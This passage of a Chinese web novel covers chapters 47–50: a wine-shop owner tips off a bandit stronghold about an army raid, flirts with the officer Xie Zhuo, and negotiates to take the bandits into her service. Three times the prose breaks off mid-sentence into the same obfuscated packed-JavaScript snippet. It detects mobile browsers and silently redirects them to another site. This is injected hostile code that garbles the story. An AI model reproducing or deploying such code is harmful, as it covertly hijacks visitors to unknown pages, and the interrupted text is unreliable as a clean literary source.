果然,罗振海听完后大受感动,“李大人一心为民,我等岂有不愿之理。” 他想起了进城时路上那些百姓的神情,他们的眼中,写满了敬仰、崇拜,还有殷切的期盼。 罗振海很享受被百姓爱戴的感觉,当下就表示要亲自带队。 李文康心中狂喜,仿佛已经预见到成功之后的场景了。 “将军大义!” 罗振海哈哈大笑,听人追捧自然是开心的:“李大人过奖了,保家卫国,为民除害是我们的本分。” 李文康拱手行礼:“下官代青州的百姓谢过将军!” 47. 撞破计划 剿匪不是上下嘴皮子一碰就能解决的,需要详细的作战计划,还需要去踩点查探情况。 李文康虽然只借五百精兵,但这些士兵们的吃喝他不可能不管,这也是他要找商户们筹钱的原因。 骁骑军选出了五百强兵在驿站待命,剩下的几千人马驻扎在城外几里之外的空地上,因为城里住不下这么多人,他们吃的米面也都是由城里送过来的。 安顿好所有的将士们,李文康将有职位的将领们邀请到自己府上好酒好菜招呼着。 剿匪的政绩能不能到手,全靠这些人了。 城里进来了一支军队,这般大的动作是隐藏不了的,城里的百姓们知道官府请了罗将军剿匪也很高兴,茶余饭后都在讨论这件事。 “这都多久了,官府总算是做了点人事。” “罗将军出马,定能将匪徒们杀个片甲不留。” “这下可好了,还咱们青州城一个太平吧!” “没错,让那群黑心黑肺的山匪见识见识骁骑军的威风。” 剿匪的消息是李文康特地放出来的,前几日的舆论把官府骂惨了,现在有个现成的洗白机会在眼前,他自然是不会放过的。 谢卓是隐瞒自己世子的身份进的骁骑军,他真正的身份只有罗振海等几个将领知道,所以此次招待的重点并不在他身上,应付完府衙里的官员后他便换上常服到太白酒铺找傅知乔。 德福跟在傅知乔身边也见过谢卓两次,这会已经认识认识他了,问:“谢公子是来买酒的?” 谢卓摇摇头。 德福了然,不是来买酒那就是来找姑娘的了,他十分善解人意:“姑娘晚些时候会来铺子,公子不妨稍等片刻。” 谢卓来的很巧,今日正是太白酒铺盘账的日子,傅知乔一般这个时候都会到铺子来查账本。 德福把谢卓引到贵宾室休息,没过多久,有伙计来敲门说东家有请。 傅知乔坐在二楼的书房里,谢卓整理好衣服上褶皱,推门而入。 未曾想,傅知乔见到他的第一句话就是:“你变黑了。” 谢卓愣了愣:“是吗?” “黑点也无妨,谢兄依旧英俊潇洒。” 傅知乔语气熟稔与他开着玩笑,两人虽有三四个月没见了,但相处起来丝毫不觉得生疏。 在外带兵剿匪三四个月之久,风吹日晒的哪能不黑,谢卓并未透露自己的真实身份,只说自己在军中任职,之前一直在外剿匪,简单两三句话解释了自己为什么会变黑的原因。 傅知乔也不多问,只关心道:“可有受伤?” “无事。” 你一言我一句,话匣子就这么被打开了,傅知乔来青州这么久,一门心思全扑在的酒铺和酒庄上,谢卓可以算的上是她为数不多的可以称之为朋友的人。 两人各自聊着自己的近况,傅知乔还让他尝了酒铺里新出的青梅酒,听到他说自家在罗振海将军麾下后傅知乔来了精神。 真是瞌睡来了就有人递枕头,骁骑军是此次剿匪的主力人手,傅知乔不着痕迹的跟他套话,得到了两日之后官府就要攻打黑虎寨的消息。 “此次剿匪你会参加吗?” 谢卓摇了摇头,他并未对傅知乔设防,剿匪一事板上钉钉,已经在城里闹得沸沸扬扬。况且罗将军亲自带队,有他没他都无所谓,他也不用靠着这些军功来提拔自己的地位。 傅知乔听他说不参加后松了一口气,要是有他在,估计自己的计划会很难进行。 送走谢卓后,傅知乔把自己关在书房,她握着毛笔,轻轻沾了沾墨汁,在已经写好的计划书上再次做了一些调整。 天色微亮,一封密信送上了黑虎寨,傅知乔把官府会在两日后攻打黑虎寨的消息传给黑虎寨,并要求与寨主程业玄见一面。 给黑虎寨传消息是文江亲自去的,这件事交给别人傅知乔不放心。 早上递出消息,下午便收到了回信。 官府要剿匪的消息在城里不是个秘密,但城外黑虎寨上山匪们就没有这么灵通的消息了,程业玄接到密信后立即同意见她一面,并把见面的地点约在黑虎寨。 傅知乔捏着信纸沉思了片刻,程业玄在自己的老巢约她见面,是想测试她有没有胆量吗? 不入虎穴焉得虎子,她决定了事是不会轻易放弃的。 有些事一旦开始布置,就再也回不了头了。 第二天,傅知乔带着文江文山两人赴约,他们两人是护卫队里武功最强的,万一中间出了什么岔子,护住她安全撤退也不是什么难事,不过为了发生什么意外,她还在山脚下安排了接应的人。 三人都做了不同程度伪装,文江化妆成酒铺的管事,她化作账房先生,文山则作为护卫的身份陪同。 一切都很顺利,顺利的出了城,顺利的避开人群,直到走到燕山山脚的时候,麻烦来了。 谢卓怎么会在这里? 谢卓骑着马守在树林入口处,身边还带着两个弓箭手,他在这里勘查地形,为明天的剿匪行动制定作战计划。 “站住!” 谢卓也没想到他出来踩个点也能遇见傅知乔,本来此次剿匪之事不用他管的,在青州停留已经是计划之外的事情了,但他不想留在城里与官员们待在一起,闲着也是闲着,刚好借此机会出城透透气。 他万万没想到能在此处看到傅知乔,她穿着一袭深色男装,脸上不知道画了什么东西上去,让整个人的气质都变得猥琐起来。 谢卓不是第一次见到傅知乔穿男装,在大集上卖酒那次她也穿过,那时候她还是一副翩翩少年郎的模样。 什么情况才需要她打扮得如此鄙陋! 傅知乔也傻眼,她穿着宽松的男装,头上带着冠帽,嘴巴周围还贴了一圈胡子,谢卓到底是怎么把她认出来的? 站住不可能的,知道谢卓在军中有职位,傅知乔不想让他掺和进来,小声朝两人道:“快走!他不是叫我们!” 三人加快了脚步。 谢卓见她不听话取下马背上的弓箭,把箭尾卡在弓弦上,瞄准目标松手,动作一气呵成,只听“嗖”的一声,一支利箭插进了前面的树干中,阻拦了三人的去路。 这支箭明显是冲着他们来的,文江文山转过身把傅知乔护在身后,两人一直在庄园里没有见过谢卓,以为谢卓来着不善,上前一步以防备的姿势面对着他。 见两人肌肉紧绷一副要作战的姿态,傅知乔连忙安抚:“没事,是认识的人。” 谢卓骑着马很快就到了跟前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177901|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他居高临下:“你怎么在这里?” 傅知乔还在打哈哈,她左右摇头看了一圈周围:“官爷是在跟我说话?” 谢卓无语,翻身下马走到她跟前,眼疾手快的捏住她粘上去的小胡子:“别装了!” 傅知乔:…… 四目相对,她脸上难得的露出一丝尴尬,嘴里嘟囔着,“我都这样了,你是怎么认出来的。” “我自有办法。”谢卓的心情突然变好:“你来这里所为何事?此地有山匪出没,你还是尽快离开为好。” 我知道这里有山匪,我要去的地方还是山匪窝呢! 傅知乔在心里诽腹着,不过能在这里遇到谢卓完全出乎她的意料,她一时反应不过来,傻傻的问道:“你昨天不是说不参加剿匪吗?” 谢卓听她这么说,眸光立即沉了沉:“明知要剿匪你还来这里?” 傅知乔在心里重重的叹了口气,几次接触下来,她知道谢卓是个极其敏锐之人,现下自己又被他抓了个现行,真是出师不利! 见她支支吾吾的模样,谢卓的眼神变得凌厉起来,“你们三人鬼鬼祟祟在此究竟意欲何为?还不老实交代?” 气氛一时间变得紧张。 看来是蒙混不过去了,傅知乔组织好语言,半真半假的说了山匪抢她酿酒的粮食,还交代了自己要去找山匪谈判的事。 谢卓听到她被抢了粮,眼睛微眯,“就因为抢了一点粮食,你就要以身涉险?” “一点粮食?是两千斤粮食好吗?” 是多少粮食的事吗?是你居然想找山匪谈判,将自己置身险境! 谢卓身上的气压突然降低,把她拉到一边,“此次剿匪是罗将军亲自带兵,罗振海将军的大名你可有听过,你放心,从今天开始就再也不会有山匪来抢你的粮食了。” 这……这话要怎么接…… 傅知乔再次语塞。 好半晌,她才听到自己的声音:“就、就算官兵去剿匪,他们收缴下来的财物是要上交的,我那两千斤粮食还不是损失掉了……” 这话说完后傅知乔自己都有点脸红,太白酒铺很赚钱,两千斤粮食并没有那么重要,可当下她也没有更好的借口了。 傅知乔一副油盐不进的模样,把谢卓气的说不出话来。 他胸膛起伏个不停,不明白傅知乔怎么会这么固执,谢卓语气加重:“你能与他们谈判什么,他们是匪徒,会跟你讲道理?还是会把粮食还给你?” 他的目光充满了审视和压迫,上位者的气势压过来,傅知乔额头流下一滴冷汗,她总不能把自己的真实目的告诉他吧! “我……”她还想反驳两句。 “你知道的,你骗不过我!”谢卓不与她争辩,早在青州清风茶馆里的时候,他就见识过她嘴皮子的厉害了。 傅知乔沉默。 谢卓一把抓住她的手腕,“不说清楚就别想上山。” 不远处的文江文山看到自家姑娘的手被人抓住,立马跑了过来,只是刚跑出两步,就被谢卓身边的两个弓箭手拦住了。 见他们似乎是对峙起来了,傅知乔连忙举手跟他们示意自己没事。 随后她抬头看了看天色,与黑虎寨约定的时间快到了,不能再耽搁下去了。 48. 你对我有意 于是,她组织好语言,把故事美化了一下说给谢卓听,比如黑虎寨虽然抢了粮食,但没有杀她的护卫,并不是传言中没有良知的人…… 又比如她听说官府请了强兵过来剿匪,想试着说服山匪放弃抵抗,以后不要出去抢人的钱财了,可以留在她的酒庄里做事,顺便把之前抢来了的粮食还回来。 傅知乔越说声音越小,说真的,她自己也觉得这个理由没有什么说服力! 谢卓听完觉得她太天真了,天真到有些无知。 但是,一个能在大庭广众下把男子说的哑口无言的女子,一个独自将太白酒铺撑起的女子,真的会如此天真吗? 谢卓有些不相信:“你倒是善良!” 傅知乔老脸一红,这话怎么听着像讽刺呢? “你阴阳怪气是何意?”她是不善良,黑虎寨剿匪这件事可以说是她一手策划的。 人不为己天诛地灭,灭掉黑虎寨可以说是一箭多雕的事情,既能还百姓们一个安宁,又能让山匪们弃恶从善,还能满足自己用人的需求,这个计划简直完美! 谢卓是何等的机敏,从她的寥寥数语中抓住了事情的真相,“你想收服黑虎寨的人帮你做事?” 傅知乔目光坚定:“有何不可?如果他们能为我所用,便不会再去杀人抢劫,可以还青州百姓们安宁,更有利于青州城的稳定发展,促进大魏的经济!” 她反问谢卓:“你有没有想过,让这些人做些有用之事,来偿还他们所犯下的罪孽,比直接杀了他们更好呢?” 歪理一套一套的,说什么要找回粮食都是借口,看来收服山匪才是她的目标。 谢卓不认同:“那群山匪生性粗野,性情残暴,只有剿灭他们才能让周边的百姓安心!” “剿灭这群山匪,难道就没有下一群了吗?”傅知乔反问道。 见谢卓没有说话,她又补充了一句:“剿灭他们只能治标,无法治本。” 她这番话说出来,谢卓怔愣好一会,随后露出若有所思的神情,说道:“就算如此,你想收拢他们也不是易事。” “不是有剿匪大军吗?” 谢卓定定的看着她,许久,薄唇动了动:“原来你打的是这个主意。” 说不震惊是假的,是他太久未接触女子的原因吗? 现在的女子都变得如此大胆了? 谢卓出生于端亲王府,十二岁那年为了求学拜在已致仕的太傅门下,跟随太傅离开京城来到了青州,完成学业后便被祖父中安排到军中历练,身边能接触到女子极为有限。 再加上他身份高贵,认识的女子也都是在家族的荫庇下长大的,或娴静优雅,或端庄大气,一言一行,都是按照世家贵女的模板教养出来的。 他从没有见过傅知乔这样的鲜活的女子。 会坚持自己的观点与人争辩到底,会在街上对弱小的人伸出援手,会酿好喝的太白酒,会展露出自己的野心…… 谢卓忍不住低头去看她,即便她此刻是一身男装,打扮的也十分普通,甚至可以说是丑陋,相貌可以通过化妆掩盖,但眼神是骗不了人的。 眼前安静站着的女子与他记忆中茶馆里的形象渐渐吻合,胆大聪慧,机智沉着才是她真正的面目! 胆大妄为,她真的不似寻常女子。 傅知乔偷偷看了眼谢卓,他眼眸深沉看不出喜怒,凌厉的目光中带着一丝压迫。 傅知乔忙收回视线,她并不知道自己当时在茶馆与书生争论的时候谢卓也在现场,她正此时只为谢卓的敏锐而感到惊叹。 该说的都已经说了,傅知乔才反应过来,自己为什么要跟他说这么多?她要借骁骑军的势来达到自己的目的,而谢卓是罗振海的副将,两人道不同不相为谋。 不知道为什么,一遇到谢卓,她的警惕性就降低了许多。 “我胆大妄为与谢将军有何干系?”傅知乔目光闪躲,不敢直视谢卓,说完她就招呼着文江文山两人继续上山。 瞧瞧,瞧瞧这人,一个不高兴,称呼也从谢卓变成了谢将军。 傅知乔最开始喊他谢公子,后来熟悉了后喊他谢兄,偶尔也会直接喊他的名字,现在到好,直接喊他谢将军了,这比喊他谢公子还要生分。 不知道为何,谢卓心里感到烦躁,好似谢将军这么生疏的称呼不应该从她嘴里说出来。 “你缺人手可以找我,你找一群匪徒有什么用?”谢卓见她转身离开,急忙挽留,声音里无意识带着一丝轻哄。 话一说出口他就后悔了。 傅知乔也是一愣,没想到谢卓会说这种话。 不知道是不是自己的错觉,她发现谢卓待自己的态度很不一般,根据之前的几次接触,谢卓平日待人冷淡,但面对她时总有几分纵容之意。 两人静默无语。 看着他红红的耳尖,傅知乔呆愣了片刻,而后慢慢品出味来了,他为什么会这么关心自己的事? 莫非…… 傅知乔嘴角一弯,主动伸手去握住谢卓的指尖。 谢卓身体立刻变得僵硬,明明她握住的是指尖,为何自己的心口却是一颤一颤的。 傅知乔一开始只是捏住了谢卓的一根手指,然后慢慢的,她顺着谢卓的指尖轻轻抚摸上去,手指在他手心手背轻轻地逗弄着,从指缝到指尖来回摸了个遍,最后与他十指相握。 他的手比她要热一点。 傅知乔柔声问:“我为什么要找你?” 谢卓此时心情很复杂,目光落在了两人相握的手上,她的手指嫩白如葱,指尖划过之处带起阵阵酥麻。 他向来讨厌别人的触碰,但是她的手,谢卓却并不觉得厌恶。 他抿了抿唇,依旧没有说话。 傅知乔也不在意,目光在他身上一遍遍巡视,她的眸子像含着秋水一般,一眨不眨地看着他。 眼前这个男人身穿金锁甲,腰间系着一条兽面束带,身姿挺拔,英挺的剑眉,锐利的黑眸,如精心雕刻般俊美,身上的铁叶铠甲散发出肃冷的气息,衬的这张脸多了几分禁欲之感。 一个男子长成这样,也是天下少有! 谢卓能清晰的在她眼眸之中看到自己的身影,他想避开她火热的视线,但又不想松开她的手。 此时他所有的感官都集中在了与她相握的手上,那柔嫩纤细的小手正被自己握在手心,心悸的感觉再次袭来,谢卓不敢直视她的眼睛。 看着他飘忽闪躲的眼神,傅知乔弯起眼睛笑了起来,嘴里吐出的字就像带着钩子一般。 “你……你莫不是对我有意?” 明明是在问话,语气却十分笃定。 这下谢卓不止是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187978|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵红了,脸也瞬间变红。 他努力装出无动于衷的样子,那张原本严肃的俊脸上满是掩饰不住的慌张,“你在胡说些什么?” 傅知乔没想到会收获这样的效果,谢卓明明长着一副风流公子的样貌,反应却如此青涩。 真是有趣极了! 傅知乔哪里知道,上次在灯会一别后,谢卓已经数次梦到过她了,以至于那段时间他每天早上起来都要换新的亵裤。 傅知乔微微歪了歪头,两人的距离又更近了些,她一脸无辜:“那就是不喜欢咯?” 没有不喜欢! 谢卓下意识想反驳,抬眸看到傅知乔的笑脸后他闭了嘴。 谢卓再怎么年少老成,他也只有十七八岁,论大胆、论脸皮的厚度远比不上傅知乔,他努力平息着自己的心跳,以手掩唇咳嗽了一声。 这种悸动的感觉对谢卓来说是陌生的,他生平第一次对女子有这样的感觉。 捅破砂锅问到底就没有意思了,傅知乔点到即止,不再继续逼问,她对待感情一向很坦荡,就算谢卓没有将喜欢二字说出口,但看他的反应也知道,这人对自己绝对是有心思的。 好嘛,这回她有底气了。 文江文山两人看到自家姑娘主动去握男人的手,这个画面犹如晴天霹雳一般,惊的他们半晌说不出话来。 两人相视一眼,均露出一副难以置信的神情,姑娘已经有爱慕的男子了吗?夫人她知道这件事吗? 见两人已经说完话朝这边走来,文江神色紧张,小心开口:“姑娘,这位是?” 傅知乔仰着小脸笑嘻嘻的看着谢卓,“谢卓,叫他谢公子即可。” 两人连忙跟谢卓行礼问好。 文山看着他身上的铠甲,咽了咽口水,她家姑娘什么时候跟骁骑军有了联系。 文江欲言又止,还好此处人不多,要是让其他人看到两个男子的手紧紧地握在一起,不知道要传出多少的风言风语,他们兄弟知道傅知乔是女扮男装,可其他人不知道啊! 比如,谢卓身边的两个弓箭手,他们此时惊讶的下巴都要掉下来了。 没看错吧?我们没看错吧?他们骁骑军里最不苟言笑的谢将军居然与男子手牵手,还是一个长相一言难尽的男子。 莫非谢将军有……断袖之癖? 两人心惊胆战的看着不远处的两个人,怎么办?谢将军这么重要的秘密现在被他俩给撞破了! 他们还能看到明天的太阳的吗? 两人心里一阵发寒,不由自主的哆嗦了一下,对视一眼,读懂了彼此眼中的信息,他们一定会誓死守护这个的秘密,只盼谢将军不要杀人灭口! 五月的太阳已经有些火辣了,阳光透过树叶细细碎碎的洒在脸上,傅知乔伸手擦了擦脸上的汗水,却不小心把胡子给擦歪了。 文山看到后朝她挤眉弄眼,或是默契还不到位,傅知乔并未领会到他的意思。 “怎么了?” 文山感到有些头晕眼昏:“姑娘,呃……那个……胡子……” 气氛有一丝丝尴尬。 傅知乔后知后觉看向谢卓,他的眼里分明闪动着笑意。 傅知乔反应过来,她此时是账房先生的打扮啊!脸上还粘着胡子呢! 她刚刚就是顶着这幅尊容在撩谢卓吗? 49. 承诺落户 知道傅知乔的打算后,谢卓不放心,当即决定亲自护送她上山。 傅知乔十分抗拒,一来谢卓是骁骑军的人,身为正义之师,他们来青州的目的就是要剿灭黑虎寨,而她则要把黑虎寨的人保下来,他们现在是不同的立场。 二来,傅知乔也不想利用“心上人”这个身份让谢卓做些不符合自己身份的事情。 但谢卓不同意,他不可能让傅知乔一个女子孤身进山匪窝。 最后两人各退一步,傅知乔同意和谢卓一起上山,但仅仅是保护她的安全,不能做别的事。而傅知乔也跟谢卓保证,目的只为招安和要回粮食,不会透露任何有关骁骑军的消息给山匪们。 山寨的寨墙以石块垒砌而成,山寨门口有一个高达五米的瞭望台,完全由一块块木板搭建而成,瞭望台站着一盯梢的人,他警惕的看着来人。 “我是太白酒铺的管事,有事见你们大当家的,烦请小哥通报?”文江说着从怀里掏出了一块木质的虎头牌,这是双方联系的的信物。 小喽啰接过令牌确认无误后,看向他身后的傅知乔和谢卓。 文江反应过来,指着傅知乔“这位是酒铺里的账房,我们算账全靠他。”接着又指了指谢卓“这是我的护卫。” 小喽啰事先得到过通知,立刻跑进了寨子里面传话了。 傅知乔装扮成账房先生的模样,跟在文江身后,谢卓也被她乔装打扮了一番,穿着最普通的麻布衣服,傅知乔还给他画了两条粗眉,尽力掩盖住他英俊的样貌。 “快把你的气势收一收,可别让人看出破绽。” 谢卓在她身后低着头,姿态恭敬并无丝毫倨傲之处,但那通身的气质是难以掩盖的,若不是低着头,几乎一眼就能看出他与一般人不同。 不一会儿,小喽啰走了出来对文江说,“我们大当家有请。” 三人顺利进入了黑虎寨。 防止被记下路线,外人进黑虎寨必须要蒙眼。三人被引路的小喽啰带着绕了好大一圈才停下,大概过了一炷香时间,傅知乔擦了擦额头的汗水,有人过来拆下他们的蒙眼布。 看到那一座座低矮的建筑,傅知乔知道,他们已经进入到黑虎寨的中心位置了。 傅知乔跟在文江身后一起走进了大堂之中,看着大堂内的一圈山匪,傅知乔终于有进入到土匪窝的实感。 黑虎寨似乎是要给他们一个下马威,没有人看座,让他们站着说话。 文江先开口:“寨主,那三千斤粮食可还够吃?” 程业玄:“原来那批粮食是你们太白酒铺的。” 文江直接道出此行的目的:“关于信中所说,不知大当家意下如何?” “据我所知,酒铺的老板姓傅。”程业玄几句话便识破了文江,“换个能做主的人来说话。” 寂静无声。 程业玄身后的一个山匪按捺不住了,“喂!你们聋了吗?我们大当家问你话呢!”说着他便朝着最瘦弱的傅知乔动手。 谢卓挡在傅知乔身前,一脚踢在山匪身上,山匪瞬间倒地一口血吐了出来。 其他的山匪们见状纷纷拔刀,程业玄做了个制止的手势,不悦道,“难道这就是太白酒铺的诚意?” 傅知乔也淡淡的开口:“难道这就是黑虎寨的待客之道?大当家若是不想谈,我们这就下山去。” 房间内的山匪全部都把目光放到了她的身上。 真正的话事人出现了。 想到信中所说的内容,程业玄发话:“你留下,其他人出去。” “二哥,会不会有诈?”听到程业玄说无妨后,王奇才领着一众山匪下去了。 程业玄面无表情盯着傅知乔:“我说的出去,也包括你的人。” 谢卓不想离开,他必须要确保傅知乔在自己的眼皮底下才能放心。 傅知乔握住他的手,给了他一个安心的眼神,并在他手心挠了挠。 谢卓:…… “我就在门口守着。” “好。” * 山寨大堂内,只剩下程业玄和傅知乔两个人。 程业玄坐在虎皮椅上,目光看着下方的傅知乔,“不知傅老板来我这寨子有何贵干?” 傅知乔也没跟他扯七扯八,直接说明了来意,“想必大当家也听到风声了,官府剿匪势在必行。” 程业玄突然轻笑出声,“我该称呼你傅老板,还是傅姑娘?” 太白酒铺的名气他也有所耳闻,只是没想到背后的老板是个年轻的姑娘。 傅知乔毫不意外程业玄能看穿她是个姑娘家,要是这点眼力见都没有,她倒要怀疑对方的能力了。 当下也不粗着嗓子说话了:“大当家想怎么称呼就怎么称呼。” 程业玄仔细打量着她,“傅老板为何要告诉我这个消息?” 程业玄对她的称呼是傅老板,傅知乔知道,他没有轻视自己女子的身份,而是把自己放在了与他同等的位置。 “自然是不忍心大当家这般的人物,最后却落得个惨死的下场。” 程业玄飞快站起身,眸中杀意涌动。 傅知乔丝毫不惧,漫不经心道:“据我所知,官府这次可不是小打小闹,来的官兵都是些身经百战的精锐战士,黑虎寨这次是在劫难逃咯。” 程业玄的声音已经有些冷了,“傅老板意欲何为?” 傅知乔上来应该不是为了给他们传递消息的,她不可能有这么好心,更何况自己还抢过她的粮食。 “大当家难道没有想过解散山寨?” “不可能!”程业玄压根没想过这个问题,他当初答应金飞虎留在黑虎寨便做好了终身不离开的准备。他自己还好,可寨子里的其他人都是没有家的人,若是再没有了山寨,他们该如何过活。 “你可以不为自己着想,你身后的那群弟兄呢?”傅知乔慢条斯理:“黑虎寨气数已尽,明日骁骑军便会杀上来,你的兄弟们这些年打家劫舍,手头不可能没沾人命,一旦被官府所擒免不了被斩首的下场……他们一路追随你,你忍心看他们落得如此下场?” 程业玄捏紧了椅子上的扶手,片刻后,他放松下来。 “傅老板只身一人来我们黑虎寨,你就不怕我们将你丢入山林去喂虎狼?” “怎么是只身一人呢,大当家忘了?我的护卫就在门外。” 程业玄想起谢卓那一脚,看身手就知道是个练家子,或许功力不在他之下。 “你是来当说客的,你想要我归顺朝廷?” “不,是归顺于我。” “归顺于你?”程业玄觉得好笑,语气轻蔑:“我为何要归顺于你?” 傅知乔微微一笑,“像大当家这般的人物,当匪徒终究是落了下乘……据我所知,大当家这些弟兄们大多都是流民出身,只是无奈沦为草寇,这些年东逃西窜,过的也不安稳。” “打家劫舍,杀人越货始终不是长久之计,若你们归顺于我,别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201591|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不敢说,但能保证所有人都能衣食无忧、娶妻生子过上幸福的生活。” 让黑虎寨的弟兄们衣食无忧、娶妻生子…… 不得不说,程业玄有几分动容,他们虽然占山为王成了土匪,但黑虎寨这些年却也没干过杀人放火的勾当,抢劫商队的财物只为了自己能活下去罢了。 要是有选择的机会谁会想做山匪?谁不想要过安稳的日子? 本来程业玄还怀疑她是官府派来的奸细,这下倒是打消这个疑虑了。 程业玄沉思片刻,“归顺之后,傅老板打算如何处置我们这些人?” "前尘往事一笔勾销。"傅知乔身体摆出放松的姿势,“愿意跟随我的人我自然不会亏待他,归顺后你们不再是黑虎寨的土匪,而是我的手下,不管之前犯了什么罪,在我这里一笔勾销。太白酒铺还可为你们提供一份正经的职业,从此不必过东躲西藏的生活,能抬头挺胸做人。如此,大当家可还有疑虑?” “黑虎寨四五百个兄弟全要?” 解散黑虎寨不难,难的其实是如何安顿这群人,如果对方可以接收并保证大家不会忍饥挨饿,那么放弃黑虎寨也不是不可以。 傅知乔给他肯定打的答复:“全要,我有个庄园正好还缺人手。” “大当家手下可有农家出身的人,可以安排他们到我的酒庄里做事,房子免费住,在庄子里吃喝都免费,每月都可以领月钱,做的好的还可以给正式的户籍。” 按照傅知乔自己的估算,往后庄园里还有开荒、种地、养殖还有运输队的事,四五百人能轻松容纳下去。 给安排户籍,这个诱惑力可太大了。 大魏很重视人口管理,以户籍统计人口。 人口的多少能看出一个国家是否强盛,尤其是在没有热兵器的时代,人口是非常重要的资源。人口支撑着国家的兵力与战事,只有国家强盛,衣食无忧,人们才有良好的条件去繁衍后代。 大魏的户籍是分等级的,一等是贵籍、二等是良籍、三等是商籍、四等是奴籍、五等是贱籍。 高级户籍无须纳税服徭役,比如良籍的人考上秀才举人就能减免赋税徭役,有钱人花点钱也能买到特权户籍,而贱籍的人则无法参加科考选举。 贵族的子女生来就是是贵族,而贱民的子女永远是贱民。 在大魏,每个家庭都得按户缴税服役,贫民因为太穷交不出赋税,为了逃避官府的惩罚,他们会选择冒险逃亡他乡,哪怕逃出来也只能当奴仆、做佣工,他们还是会选择逃跑,因为不逃跑活不下去,逃了或许还有一线生机。 非法逃出来的人无法拿到官府开具的户籍和路引。 大魏有明文规定,但凡离乡者必须持有路引。若是拿不出身份证明还想进城,不好意思,牢里走一趟吧! 像黑虎寨那群人,他们逃离家乡没有路引,他们进不去连城门,住不了店、吃不上饭,只能流落街头,无处可去的他们最后只能沦为山匪。 傅知乔可以以买奴为理由向官府申请一些奴籍,虽然是奴籍,但好歹也是一个正式的身份,比当黑户可好太多了! “改头换面,重新做人的机会已经摆在面前了,就看大当家怎么选了。”鱼饵已经抛出去了,接下来她就要耐心等鱼儿上钩。 程业玄眼中写满了惊讶,又迅速归于了平静。 “山下官兵剿匪,黑虎寨在劫难逃,傅老板要如何保住我几个百弟兄?” “我自有办法。” 50. 黑虎寨覆灭 傅知乔和程业玄两人谈了有一个时辰。 谢卓早已等的不耐烦了,好几次想破门而入,最后考虑到她的计划后忍了下来。 傅知乔下山后,程业玄独自静坐了很久,最终还是敲响了山寨中央的擂鼓,将山寨里所有的人都集合起来。 擂鼓响起,不一会,黑虎寨门口的空地上就来了数百人,他们看着程业玄,目光中皆带着一丝不安。 寨子里一般只有大事情才会敲响擂鼓。 程业玄:“今日召集大家,是因为山下召集了大量官兵,他们欲杀上燕山,剿灭我们。官府请了大名鼎鼎的骁骑军做帮手,我们黑虎寨此次怕是在劫难逃了。” 说完,下面的山匪各个面色大变,纷纷交头接耳。 有人声音颤抖:“二哥,那我们怎么办?” 黑虎寨的实力还算不错,但是,他们没有能跟骁骑军对抗的资本。 他们敢跟府衙里的官兵争一争,打一打,但绝对不是训练有素的战士们的对手,若是骁骑军一心想要灭了黑虎寨,他们的下场只有一个死字。 “为今之计,只能解散山寨,才能保全各位的性命。” “啊?解散山寨,那我们去哪?” “不行!” “山寨是虎哥的心血,我们不能就这样解散了。” “大家都是流民,无家可归才上山为匪,如果寨子没了,我们这些人该怎么办?” “不能离开,我绝对不会轻易投降,大不了与他们拼个你死我活!” 什么样的意见都有,等讨论声渐渐平息下去,程业玄才说:“离开尚有一线生机,留下来大家只有死路一条。要是被官府抓到了,必定会将我们游街示众,五马分尸,曝尸荒野。” 山下的士兵明日就会打上门来,他们没有多余的时间考虑了。 “大伙当初上山为匪,所求的不过是一处容身之所。众位兄弟放心,如果你们还愿意跟随于我,我程业玄在此发誓,从今往后,只要有我一口吃的就少不了大家那一份!” 很快有人出来表态,“我无父无母,多亏了二哥收留,二哥你去哪我就去哪,我王大柱誓死追随!” “有什么怕的,大不了就是一死!二哥,我跟你走。” 有了带头的人,剩下的人也一个接一个的表态。 有的人选择下山自谋生路,有的人愿意继续追随程业玄。 做好决定后,所有人聚在一起把寨子里剩余的粮食分了,选择下山的人带着属于自己的那一份家当离开,选择追随程业玄则留在山上做最后的布置。 下山的路已经有士兵在守着了,他们只能分批撤退。 燕山深处,有一小队人正沿着崎岖的山道往山下而去,他们隐藏在山林里,等黑虎寨和骁骑军两方人马打起来的时候,好趁乱逃走。 太阳微微露头,山下的探子已经把士兵集结的消息报了上来。 对方来势凶猛,王奇心里有些担忧:“消息不假,骁骑军来的是骑兵。” 程业玄点了点头,毫不迟疑道:“嗯,按照昨晚商议好的,咱们假意抵抗,你趁机带着人马朝着东面退走,我来守住寨门。” 王奇反对:“这怎么能行,应该由我来断后。” 先撤退就能多一份生机,众人心知肚明,程业玄是想保住他们的性命。 程业玄笑了笑:“你们无需担心,我已经安排好了。” 在程业玄的坚持之下,王奇拿出一个哨子放入口中,哨子发出如鸟叫般的声音,这是山匪之间的暗号,意思可以撤退了。 